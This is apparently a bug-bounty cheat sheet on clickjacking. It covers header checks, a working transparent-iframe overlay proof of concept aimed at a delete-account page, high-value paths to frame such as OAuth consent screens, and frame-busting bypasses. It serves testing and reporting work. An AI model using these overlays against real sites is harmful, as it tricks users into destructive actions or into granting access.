caon.io

Clickjacking

Clickjacking is an interface-based attack in which a user is tricked into clicking on actionable content on a hidden website by clicking on some other content in a decoy website.

A website is vulnerable if:

  • X-Frame-Options is not set

Check header presence with:

Content-Security-Policy: frame-ancestors supersedes X-Frame-Options. Check both. frame-ancestors 'self' is enough; X-Frame-Options: ALLOW-FROM is dead and ignored by every current browser.

POC

<iframe src="https://example.com">

A framed page is not a report on its own. Frame a state-changing page and show the click landing on it.

<style>
  iframe { position:absolute; top:0; left:0; width:1000px; height:800px;
           opacity:0.1; z-index:2; }
  button { position:absolute; top:340px; left:420px; z-index:1; }
</style>
<button>Click here to win</button>
<iframe src="https://example.com/settings/delete-account"></iframe>

Set opacity to 0.1 for the screenshot so the alignment is visible, and 0 for the real PoC.

Worth framing

/settings/delete-account      /settings/email        /settings/2fa/disable
/oauth/authorize?...          /apps/<id>/revoke      /team/leave
/subscriptions/cancel         /transfer              any one-click "Confirm"

An OAuth consent screen is the highest-value target: one click grants your app the victim’s scopes.

Bypasses

  • Only the root has the header: check deep paths, API routes, error pages, legacy hosts
  • X-Frame-Options: SAMEORIGIN plus a subdomain you took over
  • frame-ancestors missing but XFO present → some frames still work in older engines
  • Double framing defeats naive if (top != self) JS frame-busting
<iframe src="data:text/html,<iframe src='https://example.com'></iframe>"></iframe>

Drag-and-drop and paste

Where the target has no single click to steal:

  • Drag a token from the framed page into a field you control
  • Clipboard hijack + a paste target
  • contenteditable overlays
  • Cursorjacking: a fake cursor drawn offset from the real one
  • Tapjacking: the mobile equivalent, see Android
  • Filejacking: a framed file picker

Why it gets closed

Most programs treat clickjacking as informational unless you show a real, single-click, high-impact action and that the page is genuinely framable in a current browser. Record a short video with the overlay at low opacity, then at zero.

Articles

↑↓ navigate↵ openesc close